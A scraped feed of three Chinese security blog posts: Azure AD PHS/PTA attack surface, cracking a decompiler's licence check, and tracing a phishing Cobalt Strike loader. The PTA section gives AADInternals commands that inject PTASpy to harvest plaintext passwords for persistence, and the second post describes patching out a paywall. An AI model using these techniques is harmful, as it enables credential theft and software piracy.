&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084824-d7944e.BPPnuHBy_V6hWr.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;code&gt;# 现在可以使用新密码访问 Azure AD，使用旧密码访问 op-prem（密码更改不同步）&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;　　因为我们是模拟了票据从 AAD 进行的密码修改，也没有开启密码写回，所以修改的此用户密码是无法登陆本地 AD 的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084904-51592e.B31fchvY_Z1UgxQw.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h6&gt;PHS 攻击面总结&lt;/h6&gt;
&lt;p&gt;　　那么我们总结一下 PHS 的一个概述&lt;/p&gt;
&lt;p&gt;　　同步流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;密码哈希的提取&lt;/strong&gt;：&lt;br&gt;
当用户在本地 AD 中创建或修改密码时，AD 会存储密码的哈希值（通常是 NTLM 哈希）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;哈希值的提取和处理&lt;/strong&gt;：&lt;br&gt;
Azure AD Connect 工具会定期从本地 AD 中提取这些密码哈希值。为了增强安全性，Azure AD Connect 不直接传输 NTLM 哈希，而是对其进行额外处理：
&lt;ul&gt;
&lt;li&gt;首先，Azure AD Connect 会对 NTLM 哈希值进行加盐和哈希处理，生成一个新的哈希值。&lt;/li&gt;
&lt;li&gt;这个新的哈希值再经过 PBKDF2（Password-Based Key Derivation Function 2）加密算法处理，增加计算复杂度和安全性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输到 Azure AD&lt;/strong&gt;：&lt;br&gt;
处理后的哈希值通过加密的通道传输到 Azure AD。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　工作流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定期同步&lt;/strong&gt;：&lt;br&gt;
Azure AD Connect 工具默认每 30 分钟进行一次同步。你也可以手动触发同步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码哈希的存储&lt;/strong&gt;：&lt;br&gt;
传输到 Azure AD 的密码哈希值被存储在 Azure AD 中，用于用户身份验证。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　验证过程：&lt;/p&gt;
&lt;p&gt;　　当用户尝试登录 Azure AD 资源（如 Office 365、Azure 门户等）时，身份验证过程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;用户输入密码&lt;/strong&gt;：&lt;br&gt;
用户在登录界面输入用户名和密码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码验证&lt;/strong&gt;：&lt;br&gt;
Azure AD 将用户输入的密码进行相同的哈希处理，并与存储在 Azure AD 中的密码哈希值进行比较。
&lt;ul&gt;
&lt;li&gt;如果哈希值匹配，则用户通过身份验证。&lt;/li&gt;
&lt;li&gt;如果哈希值不匹配，则用户身份验证失败。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　同步机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本地 AD 密码修改&lt;/strong&gt;：&lt;br&gt;
当用户在本地 AD 中修改密码时，新的密码哈希值会在下次同步时传输到 Azure AD。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Azure AD 密码修改&lt;/strong&gt;：&lt;br&gt;
如果用户在 Azure AD 中修改密码，新的密码不会同步回本地 AD。这是因为 PHS 默认 是单向同步机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　QA：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;是否能攻击本地域&lt;/strong&gt;：&lt;br&gt;
这是有可能的，因为 PHS 是二次 hash 过程到云端，就算你的密码在 AAD 中被泄露，这也是难以逆向的。但是不排除你的 AAD 密码和 AD 密码是一致的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sync 滥用 拿到的 sync 权限对本地域用户也有权限吗 可以直接导本地用户信息不&lt;/strong&gt;：Sync 权限很高，可以理解为同步控制器，主要用于管理同步过程，将本地 AD 的数据同步到云端的 Azure AD。默认情况下，Sync 帐户在本地 AD 中只有只读权限，因此不能直接导出或更改本地 AD 用户信息，只能影响云端用户。然而，如果开启了密码写回功能，Sync 帐户会获得对本地 AD 用户进行写操作的权限，从而可以实现双向影响，即可以将云端的密码更改写回到本地 AD。因此，Sync 权限在这种情况下可以影响本地 AD 用户。这种情况下，可以影响本地 AD 用户信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h4&gt;PTA&lt;/h4&gt;
&lt;h5&gt;代理同步的原理和风险&lt;/h5&gt;
&lt;p&gt;　　&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta&quot;&gt;来自文档:&lt;/a&gt; Azure Active Directory (Azure AD) Pass-through Authentication 允许用户使用相同的密码登录本地和基于云的应用程序。此功能为用户提供了更好的体验——少记一个密码，并减少了 IT 帮助台的成本，因为用户不太可能忘记如何登录。当用户使用 Azure AD 登录时，此功能直接针对本地 Active Directory 验证用户的密码。&lt;/p&gt;
&lt;p&gt;　　在 PTA 中，身份是同步的，但密码不像在 PHS 中那样同步。&lt;/p&gt;
&lt;p&gt;　　身份验证在本地 AD 中验证，与云的通信由运行在本地服务器上的身份验证代理完成（不需要在本地 DC 上）。&lt;/p&gt;
&lt;p&gt;　　需要在 azure 中切换用户登陆方法为直通身份验证模式，如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084966-6371c5.Ddy6Qzsg_Y7Bfd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085036-392c3f.BCnTzeTf_Qq0Ku.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085096-4a5b8d.B9_uznPu_2rUiv8.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　官方的建议是在大型域情况下设置 4 台以上的 PTA 代理服务器,同时这些服务器的安全性建议设置为最高（当然 PTA 服务器越多，存在的可能攻击面就越大。）&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　该 PTA 服务器关键进程如下：C:\Program Files\Microsoft Azure AD Connect Authentication Agent&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085157-94e966.CepeMDk3_ZsAwiD.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　其中负责同步的进程 AzureADConnectAuthenticationAgentService.exe&lt;/p&gt;
&lt;p&gt;　　在进程的方法打个断点后发起一次强制流程看看。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085214-923bcb.BNgJpjmZ_62vlb.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　那么 PTS 是如何进行逻辑验证的呢，可以先看看他的代码，大概流程如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // 表示与 Active Directory 域交互的上下文。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // 域名属性。
        public string Domain { get; private set; }

        // 构造函数，初始化域上下文。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // 初始化 Domain 属性。如果域名为空或为 null，则设置为 null。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // 初始化 nativeMethodWrapper 字段。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // 方法，用于验证用户凭据是否与 Active Directory 域匹配。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // 验证 userPrincipalName 和 password 是否为 null 或空。
                userPrincipalName.ValidateNotNullOrEmpty(&quot;userPrincipalName&quot;);
                password.ValidateNotNullOrEmpty(&quot;password&quot;);

                // 检查域名是否有效。
                if (!this.ValidateDomainName())
                {
                    // 如果域名无效，则设置错误代码并返回 false。
                    errorCode = string.Format(&quot;InvalidDomainName:&apos;{0}&apos;&quot;, this.Domain);
                    result = false;
                }
                else
                {
                    // 尝试使用提供的凭据登录用户。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // 如果登录成功，将错误代码设置为 0。
                        errorCode = 0;
                    }
                    else
                    {
                        // 如果登录失败，获取最后的 Win32 错误代码并记录警告。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning(&quot;Logon user failed with error: &apos;{0}&apos;&quot;, new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 记录异常信息。
                Trace.TraceError(&quot;Unknown Exception was thrown for domain &apos;{0}&apos;. Ex: &apos;{1}&apos;&quot;, new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // 私有方法，用于使用指定的用户凭据登录。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // 调用 nativeMethodWrapper 的 LogonUser 方法进行登录。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // 确保释放 SafeCloseHandle 资源。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // 私有方法，用于验证域名的有效性。
        private bool ValidateDomainName()
        {
            // 检查域名是否为 &apos;.&apos;，如果是，则记录错误并返回 false。
            if (this.Domain != null &amp;#x26;&amp;#x26; this.Domain.Equals(&quot;.&quot;))
            {
                Trace.TraceError(&quot;Failed to create domain context due to invalid domain. Domain: &apos;{0}&apos;&quot;, new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 常量定义。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // 默认的登录提供程序。
        private const uint LOGON32_LOGON_NETWORK = 3U; // 网络登录类型。
        private const string InvalidDomainNameErrorFormat = &quot;InvalidDomainName:&apos;{0}&apos;&quot;; // 无效域名错误格式。
        private const int SuccessCode = 0; // 成功代码。
      
        // 私有字段，用于封装本地方法调用。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;　　代码说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;ActiveDirectoryDomainContext&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;类&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;Domain&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;属性&lt;/strong&gt;: 存储域名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构造函数&lt;/strong&gt;: 初始化 &lt;code&gt;Domain&lt;/code&gt; 属性和 &lt;code&gt;nativeMethodWrapper&lt;/code&gt; 字段。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;ValidateCredentials&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;验证 &lt;code&gt;userPrincipalName&lt;/code&gt; 和 &lt;code&gt;password&lt;/code&gt; 是否有效。&lt;/li&gt;
&lt;li&gt;检查域名是否有效。&lt;/li&gt;
&lt;li&gt;尝试使用 &lt;code&gt;LogonUser&lt;/code&gt; 方法登录用户。&lt;/li&gt;
&lt;li&gt;根据登录结果设置 &lt;code&gt;errorCode&lt;/code&gt; 并记录日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;LogonUser&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;nativeMethodWrapper&lt;/code&gt; 的 &lt;code&gt;LogonUser&lt;/code&gt; 方法进行用户登录。&lt;/li&gt;
&lt;li&gt;确保在完成后释放 &lt;code&gt;SafeCloseHandle&lt;/code&gt; 资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;ValidateDomainName&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;验证域名是否有效，如果域名为 &lt;code&gt;.&lt;/code&gt; 则记录错误并返回 &lt;code&gt;false&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常量和字段&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LOGON32_PROVIDER_DEFAULT&lt;/code&gt;, &lt;code&gt;LOGON32_LOGON_NETWORK&lt;/code&gt;, &lt;code&gt;InvalidDomainNameErrorFormat&lt;/code&gt;, 和 &lt;code&gt;SuccessCode&lt;/code&gt; 是常量定义，用于登录操作和错误处理。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nativeMethodWrapper&lt;/code&gt; 用于封装对本地方法的调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　这意味着，当用户通过配置了 PTA 的 Azure AD 输入密码时，他们的凭据是以未加密的形式传输到 PTA 上，然后 PTA 根据 Active Directory 对其进行验证。那么，如果我们入侵了负责 Azure AD Connect 的服务器会怎么样？&lt;/p&gt;
&lt;p&gt;　　显而易见，可以控制整个 PTA 服务器，并且所有通过该代理端点登陆的信息都会被截取。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h6&gt;中间人/后门&lt;/h6&gt;
&lt;p&gt;　　正如前面所说的，这套流程会将本地的域信息通过 PTA 进行连接起来，那么特定情况下的攻击面就如下了：&lt;/p&gt;
&lt;p&gt;　　当实际行动中拿到了运行 PTA 的代理服务器,并且有本地管理员的权限下可以进行后门做权限维持，其中,进程名为：AzureADConnectAuthenticationAgentService.exe。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　查找 AAD 中存在的 PTA 代理信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Import-Module AADInternals //导入模块
Get-AADIntProxyAgents //获取存在PTA的机器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085286-f6dfd8.ByTFhF-D_p1SEt.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　实际作战中可以先找这些 PTA 机器作为维权的优先流程。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085341-bf621f.-tz5Wamo_942f2.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　参考：&lt;a href=&quot;https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta&quot;&gt;https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Install-AADIntPTASpy //注入恶意后门
Get-AADIntAccessTokenForPTA -SaveToCache 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;　　使用该命令后会创建一个隐藏文件夹 (C:\PTASPy)，并将 PTASpy.dll 复制到那里。&lt;/p&gt;
&lt;p&gt;　　然后将 PTASpy.dll 注入正在运行的 AzureADConnectAuthenticationAgentService.exe。&lt;/p&gt;
&lt;p&gt;　　安装后，&lt;strong&gt;PTASpy 会收集所有使用的凭据，&lt;/strong&gt; 并将其与 Base64 编码的密码一起存储到 C:\PTASpy\PTASpy.csv。&lt;/p&gt;
&lt;p&gt;　　值得一提的是，该 PTA 是默认后门的功能，没有去判断密码的正确。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085399-c4ea64.CMnxQ2Dr_1hBpKK.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　也可以使用使用 &lt;a href=&quot;https://aadinternals.com/aadinternals/#get-aadintptaspylog&quot;&gt;Get-AADIntPTASpyLog&lt;/a&gt; 读取明文的密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703085458-62e840.5ENJA7yy_Z2vm2bD.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　未完待续。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>对一个微信小程序软件的逆向</title><link>https://s4u2self.cc/blog/wechat-mini-program-reverse</link><guid isPermaLink="true">https://s4u2self.cc/blog/wechat-mini-program-reverse</guid><description>对一个微信小程序软件的逆向</description><pubDate>Thu, 26 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;对一个微信小程序软件的逆向&lt;/h1&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x01&lt;/h2&gt;
&lt;p&gt;因为最近有反编译微信小程序的需求，用了一个工具发现还不错，但是过了几天弹出了收费需求，感觉验证挺简单的。尝试破解一下。&lt;/p&gt;
&lt;p&gt;因为运行之后在主程序上这是一个窗口，我不太懂逆向，根据我能理解的一点知识，我觉得或许能够将这个窗口给 push 掉。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070915711-bc805d.BSyrwsu1_Z16VSlI.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0X02&lt;/h2&gt;
&lt;p&gt;看到文件夹中的 pdb 和 DLL，猜测大概率是 C #写的，查了一下壳。#&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070915864-015b7d.CDXYEEab_Z25vwi2.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;丢入 dnspy 查看一下，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916007-58e965.CHT1-Mvo_25It2V.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;这个源码和接口明显就是混淆过的，感觉和 Net Reactor 的壳非常相似，尝试一下脱壳。&lt;/p&gt;
&lt;p&gt;使用网上通用的 Net Reactor 脱壳方案即可脱壳成功，同时重新加载主程序进去看看。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916127-5cb188.Yw0150a7_gBqor.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这下代码都很正常了。&lt;/p&gt;
&lt;p&gt;刚开始在主程序里面没有找到更新的那块代码,后来在 Common.dll 中找到了（同样混淆了，需要脱壳）&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916280-52a9d5.BC62YTWJ_Z2es3Ev.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;打个断点跑一下代码，看看退出的时候会断在哪里。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916393-14fedf.y0alGw11_Z2msNwP.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现会上传挺多数据到服务器那边的，包含 BIOS USER 网卡 ID 主板编号 CPU 型号等信息，猜测应该是用作于支付后的状态确认。&lt;/p&gt;
&lt;p&gt;如果打开支付页面 变量会成为 true 如果直接退出则是 false，直接搜索这个方法去看看那块代码。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916582-ac66d9.qGGuwj7h_Z2fkh1Q.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916695-7f9634.DEVX3-Ua_Z2aYs2f.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;程序更新也在这块代码里，逻辑也很简单。&lt;/p&gt;
&lt;p&gt;一个 code 标志用于判断，如果 code 是-45 则打开赞助窗口，如果是 0，则进入下一步。&lt;/p&gt;
&lt;p&gt;那这样破解思路也很简单了，只需要把他这块判断全部 nop 掉，然后最后填充一个 0 保持他原本的代码完整可以通过验证逻辑就行。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916795-35dcdd.o2xYSPKw_2myz7Y.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1706070916907-c0a21b.DcTID-0R_Z1rLMso.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;完事。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>记一次钓鱼邮件溯源</title><link>https://s4u2self.cc/blog/phishing-email-tracing</link><guid isPermaLink="true">https://s4u2self.cc/blog/phishing-email-tracing</guid><description>记一次钓鱼邮件溯源</description><pubDate>Sat, 07 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0X01&lt;/h2&gt;
&lt;p&gt;接到客户通知，发现疑似一份钓鱼邮件，要求进行研判并且溯源。&lt;/p&gt;
&lt;p&gt;邮件大概如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712895719766-274657.Df2OpLg4_Z1ejFYF.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0X02&lt;/h2&gt;
&lt;p&gt;压缩包更改为EML之后打开文件，压缩包内容如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712895791911-67524b.CaiIiQSY_Z2oQgUd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;PS：此处的index.exe初始状态为index.sc，为了方便分析这里改掉了原始后缀。其中最主要的可执行文件为index.exe，作用是通过这个exe去拉起那个html文件。&lt;/p&gt;
&lt;p&gt;刚好开始没明白意图是啥，众所周知，Windows系统下是可执行文件的PE头如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712895995381-12cea9.wWeS_SqO_Zlc8Rl.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;直接打开的话状态如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896010155-21fa18.EElkr4Wq_1rJiO9.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里有个令我感到疑惑的地方，这里面的这个.sc文件是EXE格式的，但是在Windows GUI下面去点击 他是默认不会当作exe去执行的，只有console才会当作EXE去执行。&lt;/p&gt;
&lt;p&gt;但是钓鱼吧，肯定需要GUI方式触发，这里又是这种写法。&lt;br&gt;
猜测意图应该是还有其他东西把这个文件启动，要么就是搞错了。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896272917-0a3a85.hvNPr3Ji_1z4lKB.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在这启动同目录下的indexrcs.html&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896340316-275b7f.qtmd04gL_2hwkI0.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;但目录下面的html文件叫index， 这里实际启动的html文件名字和文件夹里的不符 。&lt;/p&gt;
&lt;p&gt;感觉攻击者疏忽了。&lt;/p&gt;
&lt;p&gt;并且微步 virustotal都是全绿，后补一张图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896494317-a97b77.DcDA0fya_1RhjbU.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;反虚拟机做的也不错， 检测你temp目录下面的文件，少于多少个，就不执行了。&lt;/p&gt;
&lt;p&gt;正常物理机temp目录下几百个文件有的，虚拟机相对干净一些。&lt;/p&gt;
&lt;p&gt;整体行为就是打开同路径的index.html文件，是一个正常的扫描报告，然后通过创建新线程的方式执行shellcode，CS木马，C2地址：207.XXX.XXX.XXX。&lt;/p&gt;
&lt;h2&gt;0X03&lt;/h2&gt;
&lt;p&gt;拿到IP之后，就可以尝试进行溯源了，对该IP进行情报收集&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896671163-29d01e.BaH_M3S__Z1gPtIE.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;比较幸运的是发现了一个历史解析是一个CN域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896752518-9c6430.BS_6fnEn_2j1tni.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;通过查询whois信息获取到注册人的邮箱信息和个人姓名。&lt;/p&gt;
